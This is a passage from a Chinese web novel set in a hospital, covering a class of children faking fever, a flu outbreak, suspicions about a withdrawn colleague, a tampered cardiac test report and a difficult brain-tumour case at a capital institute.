箫珵:“……” 好像也是个办法。 开学不到半个月,儿科的患者增加不少。 小儿神外的诊室暂时不忙,南栀被拎去儿科的门诊。 她现在就是一块砖,哪里有需要就往哪里搬。 如果不是全科医生太离谱,其他科室也想过来搬搬砖。 南栀去诊室时就看到门口等着十几个孩子。 十几个…… 他们看起来都差不多大,家长们还在聊天。 南栀停下来,“你们认识?” 家长说:“这些孩子都是一个班的,都感冒了,唉。” 集体感冒发烧,得考虑流感。 南栀示意他们去找口罩戴。 几个孩子眼睛滴溜溜地转了好几圈。 南栀有些奇怪,走进诊室前还在看几个孩子。 排在最前面的孩子和家长走进来。 家长说:“他啊,昨晚发烧了,三十九度,今天就没上学,早上量体温,都三十九度多了!他 好几个同学都有一样的情况!是不是又流感了?” 南栀示意她把孩子带过来。 家长道:“您是刚来的?以前好像没见过。” 阮乔也被拎过来帮忙,她比南栀先到。 “这是南医生,平时在小儿神外,都是儿科医生,放心吧。” “你就是南医生呀!”家长分外热情,“总在电视上看到你!哎呀,我们运气真好,能看到南医生,快,你快让医生看看,这可是会开刀的医生,能把你脑袋划开!” 小男生“花容失色”,他哭丧着脸,被推着也不肯往前走。 南栀看了他一会儿,问:“他早上也在发烧?昨晚吃退烧药了吗?” “吃了的。” “一般晚上容易反复。” “他以前也是晚上反复,这回不知道怎么了,早上又开始发烧。” 南栀示意小男生走过来。 小男生躲在妈妈身后不肯往前走。 南栀幽幽道:“如果不治疗,就会被烧傻,人烧傻了,就要开刀动手术哦,是把脑子打开做手术。” 小男生:“……” 家长奇怪地看着南栀,不知她为何这样说,明摆着是在吓唬小孩。 难道电视上报道的都是假的,南医生其实没什么本事? 她正要催南栀快给儿子看病,就听亲儿子“哇”地哭个不停。 南栀:“发烧也是要开刀的哦,总发烧啊,是脑子出问题了,都得开刀哦。” 小男生哭得更凶了。 家长蹙眉,“南医生啊,你……” 男生拉住亲妈的手,“我没发烧,都没发烧,我不想开刀,妈妈,我要回家!” 家长:“……” 南栀中午吃饭没来得及去食堂,直接回办公室凑合凑合。 阮乔已经提前去打饭回来,韩阅松也在办公室。 他最近都偷偷在办公室吃饭。 阮乔低声道:“我碰到医务部其他人,他们对韩阅松的评价很差,韩阅松来儿科之前,他们有小半年没交流过。” 半年不说话,这关系的确差到一定程度。 平时儿科有什么动作,韦宁雨总会叫韩阅松一起,韦宁雨的能力都没能和韩阅松做朋友,可见他有多内向。 南栀道:“他可能就是不喜欢和我们一起,没关系啦,每个人性格都不一样嘛。” “这倒是,像今天那个班这么团结的,还真不多。” 上午提前排队的十几个孩子都是一个班的,而且是有预谋的装病。 第一个孩子现出原形,剩下的都跟着哭,好像是南栀欺负了他们。 “把温度计放到热水里骗人,他们是怎么想的?上学就那么痛苦?”阮乔问完,自己补了一句,“确实蛮痛苦。” 南栀道:“小孩子都不喜欢上学,但一个班级一起装病还蛮少见的。” “看来还得和家长科普小孩子喜欢装病这件事。” 南栀笑起来,“我还是联系学校吧。” “啥?”阮乔对学校二字很敏感,“你要告状?不至于吧,家长都在呢。” 她从前就是被告状的对象! 南栀说:“我是担心真有人生病或者真有流感,说一声才能放心。” 韩阅松拎着一个小黑包走了出去。 南栀和阮乔都没顾得上他,没一会儿他自己又回来了。 韩阅松站到南栀身边,支支吾吾地憋不出话来。 南栀和校长通完电话,耐心地等韩阅松发表意见。 韩阅松:“……他们太小,故意的。” 南栀说:“我知道的,再通知校长一遍,也不碍事。” 韩阅松摇了摇头,“他们就是坏,是提前商量过的。” 韩阅松第一次发表意见。 阮乔耐心不够,她忍不住问道:“松哥,你不喜欢小孩儿?” “一个两个可能喜欢,谁会喜欢一群孩子?” 回答这个问题,韩阅松理直气壮。 阮乔深以为然。 再喜欢孩子的人去当老师,估计都得被气疯。 阮乔说:“以后你就跟我们一起吃饭呗,干嘛总是一个人待着,你喜欢装酷?” 韩阅松面色困惑,不过他很快理解阮乔口中的“装酷”是什么意思。 他涨红脸,磕磕巴巴道:“我不是,不是装,不装,我只是……是他们不愿意搭理我!” 韩阅松说完,脸更红了。 南栀和阮乔好奇地看着他。 她们的目光好像会刺痛韩阅松,韩阅松下意识想躲,阮乔拽住他,“什么叫不搭理你?有人孤立你?欺负你?” 她与韩阅松的交往虽不深,但既然他已经到儿科,别管是手术还是出诊,她就不能看着他被欺负。 南栀也说:“如果有人欺负你,你就告诉我们。” 韩阅松撇撇嘴,“你们能如何?” “她们能如何?”魏联探出脑袋,“你是没看到在食堂其他人被她们仨训得有多惨,这些人现在估计已经上汤院长的黑名单了。” 阮乔自豪道:“是他们活该。” 南栀补充,“造黄谣没下限,活该。” 魏联说:“看到没,现在医院里就她们攻击力最强,连院长还不会说什么,他还指望着南栀动手术,最好能动几台情况复杂的手术,还能成功。” 韩阅松“被迫”敞开心扉,“我也不知道为什么,所有人都不愿意和我说话。” “医务部的人?他们还敢光明正大地孤立你?!” 韩阅松说:“我爸妈也不愿意理我。” 南栀:“……他们做了什么,不称职?” “不称职的父母也有。” 韩阅松:“不光是他们,其他家人、邻居都是看到我就跑。” 南栀:“……” 她和阮乔凑到一起,“父母会孤立自己的孩子吗?” “……也许?” “但是还有其他家人。” “……” 难不成是所有人都对韩阅松有意见? 南栀回想韩阅松在儿科的所作所为。 他…… 好像没什么作为。 手术能做助手,出诊不太行,平时自己看看书,也不和其他人交流。 说实话,除了不太合群,他其实没做过什么。 韩阅松来儿科已经很久,如果真是坏人在装,那还真的蛮可怕的。 南栀问:“你想和他们好好相处?” 韩阅松缓缓点头,“谁不想拥有朋友?” “这样吧,”南栀说,“我们就直接去问问医务部的人,去问问你父母,直接沟通,省得麻烦。” 韩阅松想到医务部的同事,再想到对他冷言冷语的父母,有点儿想退缩。 他不怕去问,只怕结果会让他更难过。 阮乔说:“你看啊,平时住院部忙,你不是还去帮忙照顾孩子吗?不能说是多好的人,但总不会是坏人吧?” 韩阅松一怔,下意识看向南栀。 南栀正笑盈盈地看着他,他立刻低下头,似乎不敢与她对视。 南栀心中奇怪,她与韩阅松并无过多焦急,他却好像在怕她? 阮乔要去为韩阅松“讨说法”。 在康宁医院,绝对不能出现医生被孤立的情况! 他们的第一站是医务部。 康宁医院的口碑越来越好,患者愈来愈多,医务部也比从前更完善,现在已经不是一个人守着整个部值班的局面。 阮乔敲门走进去。 医务部的同事们看到南栀和阮乔,笑得像朵花。 儿科的两位医生,谁都认识。 紧接着他们又看到韩阅松,花儿立刻败了。 韩阅松落寞地低下头。 南栀鼓励道:“有误会就搞清楚,如果真的合不来,以后不来往就是。” 阮乔笑盈盈问道:“冒昧问一句,听说你们都不太喜欢韩医生,为什么啊?” 一屋子人沉默了。 儿科的人都是……这种情商? 这种话问出来,谁会回答?? 南栀道:“也不是什么大事,如果只是合不来,以后彼此都注意就好啦。” 几人对视一眼,“你们…… 不记仇?” “开玩笑,”阮乔说,“谁会想得罪医务部的人?” “……” 他们不认为这俩人不敢得罪。 听说最近有和邢小谷有关的传言,她们可是把说闲话的人狠狠收拾了。 南栀道:“你们不想说也没关系的,我们先去问他爸爸妈妈也可以。” 韩阅松低声道:“我只是想知道原因,是不是我做错了什么,我自己不知道?” 几人面露难色,“不敢不敢。” 有人先开口,“其实吧,我们对你真没意见。” “……我们是不敢。” “至于为什么不敢……你去问你爸妈?” 他们越说阮乔越糊涂。 南栀低声道:“都是同事,咱们在儿科习惯了直白,但面对不熟悉的人,有些话不好说也正常。” 阮乔:“!” 南栀偷偷去提了情商! 南栀说:“韩阅松说他家里人也不待见他,挺奇怪的,我们去打听打听?” 挨到下班,三人往韩阅松家里走。 韩阅松心灰意冷,“我这辈子就这样了,从我爸精神不正常开始,我的人生就已经毁了。” 南栀和阮乔的字典里没有“后退”二字。 韩阅松已经很久不回家,阮乔向他保证,“如果真是你家里人欺负你,我一定为你讨回公道!” 南栀说:“你也得有信心才行,为自己争取利益,怕什么?” “恩……”韩阅松给自己加油打气,“我今天一定要大声问出来,为什么要这样对我!为了自己!我要告诉他们所有人,就算没有他们,我也能活!” 阮乔:“你是最棒的!” 半个小时之后,韩阅松跪在父母面前痛哭流涕:“爸、妈,我再也不敢了!” 阮乔捂脸:“真丢人啊。” 第112章 第112章失败啦 说起来挺好笑。 韩阅松刚出现在韩家门口,家里人就戒严似的,警惕地瞪着韩阅松,韩父甚至去小仓库取来铁锹。 韩家人严阵以待,好像发生了不得的事。 韩阅松往前迈出一步,韩家人集体抖三抖。 最后还是韩母控诉道:“这些年,他见了我们就只要钱,家里值钱的东西都被他搬走,我们老两口无所谓,但他妹妹还在,孙子孙女还在,我们也得为其他人考虑!” 邻居们也一起控诉,“他靠自己力气大,天天欺负人,我们哪家没被他欺负过?我们惹不起还不能躲?!” 南栀:“……” 阮乔:“……” 这和她们了解的韩阅松不太一样? 再搞清楚事情来龙去脉后,便发生韩阅松跪地求饶的一幕。 阮乔都看糊涂了,“韩阅松是……恶霸?有这种恶霸吗?” 她还记得有人试图袭击医生时他的怂样。 南栀说:“好像是说他以前,现在应该不是了。而且……” 南栀看向韩阅松的父亲。 她清楚地记得,韩阅松说他的父亲是精神病患者,他还说,父亲患病后,他的人生就完全改变。 可韩阅松的父亲哪里像是精神病? 南栀偷偷问了几个邻居,邻居们也都摇头,“老韩怎么可能有病?老韩人特别好,很厚道的一个人,就是倒霉生了韩阅松这么个儿子!” 再看韩阅松,他似乎对自己曾经的恶霸形象完全不知情。 太奇怪了。 韩阅松哭得一把鼻涕一把泪,老两口到底是于心不忍,表示只要韩阅松改过,他们就会重新接纳他。 当天晚上,韩阅松还留在家里吃饭,韩家难得其乐融融。 第二天一早,韩阅松刚到办公室就被南栀和阮乔拦在走廊上。 韩阅松面色红润,气色比从前好太多。 “你说清楚,你一个恶霸还叫屈?” 阮乔去医务部仔细打听过了,韩阅松到医院的时间,比南栀早不了几个月。 他一到医务部,就把部门搅得翻天覆地。 不愿意干活儿,脏活累活都推给别人,为人处世时霸道得很。 还说他作威作福两个月后,突然变了个人似的,开始不爱说话,也不再欺负人。 但因为之前发生的事,他们都不敢和韩阅松多说话。 阮乔越听越觉得奇怪,和南栀一商量,觉得还是得找韩阅松问清楚。 陆随刚到医院,闫民怀“嚯”了一声,惊道:“陆哥,嫂子强抢民男。” 居然把人家堵在楼梯口,这阵仗只有上学时遇到坏学生才见过。 陆随蹙眉走过去,“欺负人不叫我一起?” 南栀朝他挤挤眼睛。 陆随:“?” 韩阅松老实交代道:“其实我不太记得以前的事,很多事情我都忘记了。” “你也失忆?!”阮乔说,“钟阳这招没用。” “……真的不记得,”韩阅松说,“我只知道一睁眼就被孤立,我也不敢问原因,他们不带我玩儿,我也不好意思和他们一起。” 南栀把陆随拽走,她朝他勾勾手指 陆随弯腰。 南栀揪着陆随的耳朵靠近他,“韩阅松很奇怪。” 陆随一个趔趄,险些撞上南栀,他揉了揉耳朵,道:“可以大声些。” “隔墙有耳。”南栀一本正经道,“要不我们先去找我哥?” 陆随也听到韩阅松的话,他不懂韩阅松失忆一事与箫珵有什么关系。 南栀问:“我们当初怎么来到这里的,你还记得吗?你不想搞清楚?” 在学校里,存在着一个人,可能是害了箫珵的人。 南栀和陆随都是因为此事,才出现在同一处,随后的爆炸……如果是人为的呢? 没人在的小办公室,三人凑到一起,“哥,你之前到底得罪过谁?” 箫珵一头雾水,“我的脾气能得罪人?如果说陆随得罪人,这还说得通。” 陆随道:“总而言之,没人试图杀害我,但有人试图让你消失。” 箫珵:“……” 南栀问:“你在学校经常接触的人里,有没有性格比较古怪的?” “有啊,”箫珵指着陆随,“他。” 陆随:“……” 南栀说:“学长确实有点儿怪,但应该不会杀人,还有其他人吗?” 陆随:“……” 他是不是要谢谢南栀肯相信他? 箫珵道:“我真的想不出来,你怀疑韩阅松和我们一样?” 南栀沉重地点头,“他变化大的时间点和我来这里的时间一致,他对从前发生的 事完全不记得。” “可是这也不能肯定他是从未来穿过来的。” 南栀说:“如果我和学长不是因为意外才过来的,导致爆炸的人是不是也在现场?如果他被波及了呢?” “你怀疑是韩阅松害了我,发现你在追查,又去害你?!” “等等,”陆随问,“但这和我有什么关系?” 南栀:“你应该是无辜路人吧。” 陆随:“……” “或许人家觉得你和南栀关系不一般,”箫珵没好气道,“偷偷关注比自己低好几级的学妹,垃圾。” 陆随:“……” 他轻咳一声,试图解释,“我没有格外关注。” “对,”箫珵说,“就是小小地关注了一下。” 陆随:“……” 南栀疑惑道:“低好几级的学妹?是谁啊?你以前有喜欢的人?” 陆随有嘴说不清。 箫珵幸灾乐祸道:“解释吧,看你解不解释,这婚结不了喽。” 南栀说:“以前有喜欢的人就算了,以后不行哦。” 她失望地叹气,“我还以为我是你第一个喜欢的人呢。” 陆随:“……所以说就是这么回事!” 南栀:“啊?” 眼见着误会就要解释清楚,箫珵赶紧从中作梗,“别说这些没用的,我们谈谈韩阅松。你怀疑韩阅松不属于这里,我想想啊,和韩阅松性格相似的人,恩……” 南栀提醒道:“他提到过,他父亲是精神病患者,你认识的人里有吗?” 箫珵一怔,接着惊呼道:“是他!” 陆随也想了起来,“还真是,存在感太低,我都忘了还有这么一号人了。” 南栀激动道:“是谁?” “我的舍友,”箫珵说,“我和陆随的舍友,我们都认识,平时在宿舍里一句话都不说,毫无存在感,叫沈牧。” 以前分析此事时,箫珵和陆随都没想起来沈牧这号人,就是因为存在感太弱。 箫珵无法理解,“可不对啊,怎么会是他?我对他应该不差,有什么事我都叫他一起,他家里条件一般,我还带着他一起吃饭,从来没管他要过钱。” 南栀说:“从他对医务部同事的态度来看,他其实很想融入集体。” “所以他是融入不进去,所以生恨??他为什么不恨陆随?” 陆随道:“我和他可从来都没有过交集,话都没说过几句。” 他不爱搭理人,陆随也不爱搭理人,陆随不关心他喜不喜欢说话,也懒得问他遇到什么困难。 箫珵:“……” 合着谁对他好,他就要坑谁? 箫珵道:“如果真是这样,他现在在儿科,你太危险了,得想办法把他调走。” “再观察观察,万一不是呢?”南栀说,“韦宁雨也喜欢叫着他一起,目前为止,没看出他对韦宁雨有恶意。” 而且韦宁雨都是直接上手,把人拉到他们餐桌上。 除非他人不在,或者真的不乐意,不过目前还没有不同意过。 箫珵:“……” 原来是他叫得太委婉?? 他应该直接动手?? 接下来几天,南栀都在观察韩阅松。 他兴奋地告诉南栀,他和家里人的关系有所缓和,甚至决定搬回家里住。 看他高兴的样子,不像是假的。 但如果南栀的猜测没错,他又曾对自己好的人下手,实在难以接受。 人性真复杂。 下午,有两个十几岁的学生一起来儿科挂号看病。 两人感冒发烧流鼻涕,还会咳嗽,已经咳嗽三四天,一天比一天严重。 南栀原本没去儿科的门诊,却被邢小谷叫了过去,“南医生,你来看看,这两个人和前几天装病的学生都是同学。” 南栀拿出听诊器,“听听。” 两个学生乖乖坐好。 南栀给两人听完,问题不太大。 她问道:“这次不是装病?” 两人不好意思地低下头。 南栀问:“你们应该知道这件事,说说吧,他们怎么想的。” 上次十几个学生过来,家长都在,没一个人说实话的。 这两人是结伴来的,没有家长,交代得很痛快,“因为有两个同学一直请假,他们都觉得很爽,所以就想学他们。” 南栀问:“也是感冒发烧?” “嗯,光是感冒发烧,就能好几天不上学!” 两人眼中闪烁着期待的光芒。 不用上学也太爽了! 南栀让两人去做血检,一个班里同时有四个人感冒发烧,她有点儿担心。 化验结果出来后,邢小谷立刻把口罩戴正,“甲型H3N2,北方多发于冬季,怎么现在就有了?” 南栀则去联系学校,提醒学校有严重的流感。 两个学生的状态不用住院,但是同一天,又有新的患儿来看病,仍然是同一所学校的学生,但是不同班。 情况严重了。 南栀想到,这会儿大家的防护意识都不太好,往后还要经历很多次。 她先联系了尚延。 “我们应该写明如何防护,登报做宣传,让大家提高警惕,尤其是有孩子的家庭。生病的孩子最好能留在家里,直到康复。情况严重的,要单独给他们腾出一间病房。” 卢含娇也在尚延的办公室,她不太赞同,“已知确诊的只有两三个人,是不是太兴师动众了?” 南栀说:“增强防范意识,对以后也有好处,出门戴口罩、及时洗手、注意个人卫生,这都是平时就应该做的。” 尚延思忖道:“有道理,做好科普也是我们的工作,你去整理整理,病房的话,是要腾出一间来,现在神外的病房和普通儿科挨着,有两个刚开过刀的,如果被传染就糟了。” 卢含娇轻轻蹙眉,低头继续写文件,不再发表意见。 南栀走后,尚延才说:“小南工作我还是很放心的,你不要太多心。” 卢含娇声音冷淡,“我只是好奇,同样的话从不同人口中说出来,居然有不同的效果。” 她看向尚延,“我升职时,因为性别输给同事,默认女人要回家教育孩子,说我没法把注意力都放在工作上。我说的话没人愿意听,现在倒是变了。” 尚延无奈。 卢含娇经历过不少不公平对待。 尚延问:“难道你要因为你被不公平对待,就要去为难别人?你也说了,医院对女医生不如男医生,再多你一个,女医生的生存空间更窄了。” 卢含娇微怔,接着说道:“我知道了。” “这就对了嘛,康宁的儿科还是很不错的,大家都朝气蓬勃,我……” 卢含娇说:“我去为难男医生。” 尚延:“……” 就如南栀所想,因为感冒发烧来医院的孩子越来越多。 甲型H3N2是呼吸系统疾病,呼吸道传播,68年在港城爆发,被称为港城流感,曾导致一百万人死亡。 症状与普通流感相似,重者可能肺炎、呼吸衰竭甚至死亡。 在南栀的建议下,医院和学校联合起来,病重的学生送到医院,有感冒症状的全部留在家里,不允许上学,更不许出门。 报纸刊登了防护方式,还写了甲型H3N2的历史,以防有人掉以轻心。 来医院住院的学生越来越多。 韩阅松主动要求去住院部帮忙,他说要为医院尽绵薄之力。 儿科越来越忙。 南栀担心会传染奶奶,干脆也不回家,直接住在医院。 阮乔也是如此。 不过两人还要做手术,她们必须尽量避免自己被传染。 韩阅松倒是一直很积极,每天都往住院部跑,连护士的工作都做了。 韦宁雨无语道:“以前我是护士长的宝,现在变成韩医生了,他的积极性是从哪里冒出来的?以前一起吃个饭都费劲。他照顾学生,那叫一个上心,什么脏活儿都能做,我真服了。” 阮乔和韦宁雨说起韩阅松的事。 南栀想不明白,韩阅松真的只是想融入集体? 箫珵邀请他的时候,他为何要拒绝? 他会和他们一起来到临川,是因为爆炸时他就在附近吧? 他是担心南栀查出箫珵的事,所以灭口? 但他现在怎么又一副好人的样子? 南栀很难理解这种人。 可惜他们人已经在临川,没法进行任何调查,也不能去请警察帮忙,毕竟在临川,箫珵没有受到任何伤害。 南栀决定,她必须把韩阅松放在身边,确定他没有小动作,否则实在不放心。 失去哥哥这种事,绝对不能重来一遍。 康宁医院反应及时,H3N2没再扩大范围。 一个多月后才彻底消停,最后的病人是韩阅松,其他医护人员倒是没事。 韩阅松病倒时还在照顾学生,说要帮护士长减轻压力,以南栀的情商,实在很难看懂他究竟是什么样的人了。 十一月,尚延宣布调整儿科的诊室。 儿科正式分为内科和外科,新生儿也并入儿科。 康宁医院的儿科红红火火,愿意来的医生越来越多。 这还是挺少见的,不管在哪个医院,儿科都不太受待见。 好消息是南栀终于不用再两头跑,可以安心在神外待着。 魏联被分到肝胆那边,神外只剩下南栀、韦初雪和阮乔,也够用了。 最微妙的是,市里还让各个医院组织医生来学习康宁儿科的经验,南栀负责介绍。 市里所有大型医院都派了人过来,金瑞站在人群里,十分感慨。 这才几年,恩德医院就已经落寞到快说不上名字了。 反倒是康宁,一直红红火火,名气越来越大。 现在提到省内的医院,除了省一院就是康宁,而且康宁的神外一骑绝尘,省一院都得建议病人来这边就诊。 金瑞替南栀高兴的同时,有点儿伤心。 谁懂啊,费尽心思才到据说最好的医院就职,一不小心医院就没落了! 南栀热情邀请道:“各位有对儿科感兴趣的,可以加入康宁哦,我们很缺人的。” 医生们立刻被主任们提醒捂耳朵,“早就听说康宁儿科的人都擅长忽悠人,我们还是来学习的,你们就开始忽悠了!!” 中午在食堂,韦宁雨热情地向大家介绍,“我们医院的伙食也不错哦,大厨手艺很好,阿姨打菜从来不手抖,考虑考虑来我们医院?” 主任们:“!!” 可恶的康宁医院! 下午参观手术室,阮乔态度积极,“各位主任都是人中龙凤,医院设备不够吧?我们的设备很好哦,其实我们也缺主任呢。” 主任们:“……” 好像可以考虑考虑? 他们的耳朵被手底下的医生捂住,“不许乱想!!” 金瑞无比“悲哀”。 再这样下去,整个临川市的儿科力量都要被康宁吸纳了,而恩德…… 阮乔说:“金主任,咱们都是老朋友了,不加入我们?” 金瑞心一横,道:“我是有原则的人。” 在恩德,他起码还能做个小领导。 阮乔说:“我们科室的副主任也不多哦。” 金瑞:“……再具体介绍介绍?” 忙了一整天,南栀累得险些站不起来。 她好像不是在给同僚介绍医院的情况,她更像是HR,努力地拉了一整天的人。 晚上回到家,南栀面对的是黄春兰和南明杰的“怒容”。 “栀栀啊,你们已经领证多久了?当初说领证就领证,到现在都没办婚礼,邻居们都在问我。” 他们已经搬到新家,所谓的邻居都是刚认识的。 南栀最近确实太忙了,根本没时间办什么婚礼。 她提议道:“我们可以直接取消婚礼啊,太麻烦了。” “这不行,”黄春兰说,“办婚礼是要收份子钱的,你收不到份子钱,但人家结婚,你可还是要给的。” 这确实是个重要的事。 南栀试探道:“请几桌?仪式什么的就不用走了,我真的不太喜欢。” 黄春兰退了一步,答应南栀的请求。 请客吃饭的日子定下来,南栀拉着陆随去给大家发请帖。 盛昭云翻来覆去地看着请帖,问:“真打算结婚?” 南栀拉起陆随的手,“当然啦。” 陆随奇怪道:“为什么这样问?” 盛昭云:“根据他们汇报的你们的进度,明明还停留在幼儿园阶段。” 听说他们上次约会的地点,还是新华书店。 就连盛昭云都无法理解新华书店是怎么成为两人固定的约会地点的。 南栀说:“新华书店有很多新到的书啊。” 陆随:“值得去看一看。” 盛昭云:“……” 她甚至怀疑他们结婚后也会乖乖躺在一张床上看医学书。 最痛心的是箫珵,他一连说了好几遍——“如果你欺负南栀,我就去打死你。” 闫民怀低声说:“看,萧哥又想去劫婚。” 郤文曜:“……” 他看向陆随和箫珵,神色不明。 陆随还有手术要做。 术前,他最后检查患者的检查报告。 南栀凑过来一起,“我们科室心脏病的儿童,以后就都靠你了,主任说没必要搞小儿心外,有你们就够了。” 陆随道:“你们科室已经快把整个医院都吞了,我看以后可以改名叫康宁儿童医院。” 南栀认真地想了想,“也不是不可以。” 陆随:“……” 陆随抽出一张检查报告,南栀跟过去看,“左心室射血分数55%,心功能正常?” 陆随蹙起眉,“是吗?这个患者的情况不太好,我以为数值会更低。” “这不是有检查结果吗?而且……”南栀拿起报告盯着看,“不对啊,数字好像不一样。” 陆随问:“怎么不一样?” “感觉像是被描过?比起其他字,更清晰。” 检查报告是打印出来的,效果不太好,字迹不够清晰。 只有这55的数字墨水是完全相连的,没有断开。 南栀心惊道:“数据不会被改过吧?” 左心室射血分数正常在50%~70%之间,数值为55%,说明患者心脏功能正常,可以接受更激进的手术方案。 “有人更改数值,引导你做更激进的手术?万一术中出现并发症,可就是你的责任了。” 陆随沉默片刻,打电话通知他们重新做检查,费用医院出。 他接着拿起检查报告去找主任。 主任瞥了眼报告,道:“有问题吗?” 陆随道:“有人改过数值。” 主任拿起眼镜,重新看了一遍,抬眼问道:“应该是多少?” “还不知道,”陆随说,“检查结果没出来。” 主任拧起眉,“小陆啊,你等检查结果出来再来找我,只凭你两句话,我怎么相信你?” “他是我的病人,是什么情况我清楚,”陆随一字一句道,“论文的事我不计较,不代表我蠢,能改数值的,一定是心外科的人。主任,您看谁可疑?” 主任:“……” 南栀还在陆随身后。 主任现在不只怕陆随背后的陆嘉述,他还有点儿怕南栀。 主要是怕南栀背后的……韦宁雨。 杂志算是被他们做起来了,现在还有外院的人过来买杂志。 那小子还认识各种媒体,儿科和临川站联合办节目,南栀稳定露脸,稍微一搞,他就没法对付。 主任只好说:“如果是真的,肯定要调查,你把报告放下,先回去做手术吧。” 陆随没听,他冷淡道:“我只是来通知主任一声,此事暂时不要告诉其他人,手术会继续进行。” 陆随拉着南栀离开。 南栀问:“只是这样就行了?” 她还以为要好好骂主任一顿,她都做好准备了! 陆随道:“我怀疑主任可能知道是谁做的。” “合谋?” “不见得,但是心外科总共就那么几个人,能是谁?” 南栀表态:“肯定不是我哥,他不会用这么聪明的办法。” 陆随:“恩,知道。” 办公室的箫珵打了个喷嚏,有人念叨他? 陆随没有回办公室,而是把箫珵叫出来。 “有没有人接到电话?刚才? 有啊,郤文曜、闫民怀都接了电话。” “知道是谁打的吗?” “郤文曜不太清楚,闫民怀的话,好像是患者来的电话,我听到他在和患者说手术后的注意事项。” 南栀问:“是郤文曜?可是你怎么知道主任会通知郤文曜?” 陆随说:“我来到这里之前,原主写的论文,一直是以他们二人的名义发表的。” 原主一直被欺负。 箫珵和南栀都不知道这件事。 箫珵怜惜道:“你还真是弱得很,居然会被欺负。” 南栀深以为然。 陆随:“……” 南栀说:“你放心,我们都结婚了,以后我肯定保护你。” 箫珵拍拍他的肩膀,说:“妹夫,只要你叫我一声哥,我也保护你。” 陆随:“……” 二对一,他说不过人家。 箫珵说:“我进去看看郤文曜在做什么,这小子平时不言不语的,没想到也是个狠角色。” 南栀道:“你最好把之前的检查都再看一遍,以防万一。” 其他检查倒是没什么问题,对方应该只改了这一个数值。 如果不是陆随仔细,对病人的情况有数,这次手术可能会有意外情况。 只是郤文曜为何要陷害陆随,陆随想不出理由。 他们之间的交集不多,还算友好,总不能和韩阅松下手的理由一样吧? * 儿研所,奚阳华和沈玫已经是儿研所的正经医生,二人对神外有感情,都留在神外。 舒教授去世时,他们也去看了,参加葬礼的人很多,所有人都很平静。 但忙忙碌碌之后,他们总是会想到舒教授,明明这位教授和他们最多的交集就是教训他们。 科室还挖来一位神外专家,是从南方过来的,据说手术水平极高。 奚阳华和沈玫目前是他的助手。 刘明意气风发。 三人被一起叫到主任办公室,“有位老科学家的孙女生病了,刚从下级医院转过来,高度怀疑是脑瘤,刘医生,这台手术你来做。” 刘明笑笑,“主任放心,我一定全力以赴。” 主任道:“所长很重视,你一定不能掉以轻心,要全力以赴,知道吗?” 刘明什么都好,就是平时比较高调,自己有九十分的实力,能喊出一百分的架势。 能留在儿研所的,自身或多或少都有些实力,就算是奚阳华,他也是名校毕业、成绩优异。 奚阳华:为什么拿他做比较! 主任担心刘明会摔跟头。 但是看来看去,好像只有刘明最适合做这台手术。 刘明扬眉,“舒教授在时,您可不会担心这么多事,我和舒教授一南一北,没有区别。” 主任轻轻拧眉。 奚阳华嘴很快,“舒教授是普通人能比的?舒教授是神仙。” 沈玫也对刘明不满。 他是有些本事,但总是把自己的名字放到舒教授旁边,谁看了都会不爽。 舒映阶的实力是谁都能比的? 目前为止,她只见过一个人有赶上舒映阶的潜力。 主任叹气,“能顺利就最好了,老科学家和舒教授是朋友,他原本是想找舒教授做手术,可是舒教授已经……” 刘明道:“人总有老去的一天,医生也不例外,总指望老一辈可不行。” 主任没再说什么。 奚阳华乐道:“不指望老一辈,难不成还指望……” 沈玫及时把他拽走。 现在他俩都在刘明手底下做事,没必要得罪刘明。 完善术前检查后,刘明第一时间给患儿动手术。 用他的话说,这是看在老教授的面子上提前安排。 沈玫不太喜欢跟刘明的手术,话太多,总是要吹嘘自己。 男人就是学不会谦虚。 和刘明比,奚阳华都算是谦虚的了。 手术正常进行,常规开颅,刘明忽然愣住,长时间没有动作。 沈玫和奚阳华凑过去看,都是一愣,“这是……” 这手术还能做吗? * 南栀本想帮陆随一起调查数据被篡改一事,尚延却紧急把她叫到办公室,“有一台手术,可能需要你去做。” 飞刀很常见,南栀也不例外。 手术需要在首都进行,南栀带着几个助手一起去儿研所。 患儿今年11岁,祖父是老科学家,地位很高,据说是儿研所所长亲自接待的。 如今所长又亲自来迎接南栀,他身后是南栀熟悉的神外的同事们,包括沈玫和奚阳华。 沈玫忍着激动才没立刻走过来,奚阳华则是一副要死了的样子。 完了完了完了南栀又回来了! 他送的那些特产都没能堵住她的嘴!! 所长介绍道:“这个病人情况特殊,她的祖父曾经去海外留学,不远万里回国,做出突出贡献。我们怕老人家寒心,派出了最好的手术团队,没想到手术过程出现问题。老人家比较相信舒教授,但是舒教授已经……总之,你是舒教授的学生,现在名气又大,我们和老人家商量过了,他同意你来做手术。” 奚阳华酸溜溜道:“还真是恭喜你啊,我在首都都听说你们那破医院的破手术团队了。” 阮乔和韦初雪立刻看过去。 奚阳华:“……是完美的手术团队,完美。” 阮乔兴冲冲道:“我们已经这么有名气了?” 沈玫笑道:“从地震开始就传过来了,后来南栀做得几台手术都很漂亮,你们开交流会时,其实我们也有派人过去。” 一般都是地方医生往首都钻,参加各种会议,吸取经验。 只有那么几次,首都的医生往地方钻。 所长还在,南栀发挥仅有的情商,客气道:“每个地区的医生都有擅长治疗的疾病,大家互相学习。” 奚阳华幽幽道:“但我们做的是切除脑瘤的手术。” 还有什么地方比儿研所更擅长? 南栀说:“那就是天赋问题了。” 奚阳华:“……” 南栀的情商果然不多。 所长催道:“小南在儿研所待过,我就不和你客气了,先去看看病人的情况吧。” 患儿叫崔媛媛,父母都在病房。 沈玫低声道:“老爷子身体不好,孙女生病后就犯病了,人在富雅医院治疗。” 这也是儿研所重视此次手术的原因,他们不仅怕老爷子寒心,更怕他真的因为此事走了。 先不说老爷子为国家做出多少贡献,就算是普通人的孩子,手术过程出现问题,也是儿研所的责任,必须补救。 崔媛媛的精神状况一般。 “来医院前,头痛恶心两周,呕吐一周,复视十天,CT显示右侧小脑半球异常密度愉快,MRI显示,第四脑室右侧孔区可见团块状……” 沈玫介绍完,又说:“主刀的是副主任刘明,你可能不认识,是半年前才来的,很有名气的小儿外科手术专家。” 没想到一上手就出错。 刘明就在人群中,他神色难以捉摸。 南栀道:“去会议室开会吧。” 刘明跟在最后,步伐很慢。 奚阳华抱怨道:“找谁不好,非得找南栀?咱们科室这么多副主任,就都不如一个南栀?” 刘明低声道:“舒教授的爱徒,和我们不在一个层级。” “不要自怨自艾,”奚阳华严肃道,“这种情况可能很多外科医生都无法处理,我只是认为……我也行!为什么不让我上!我迟早是要主刀!” 刘明:“……” 这孩子确实没什么情商。 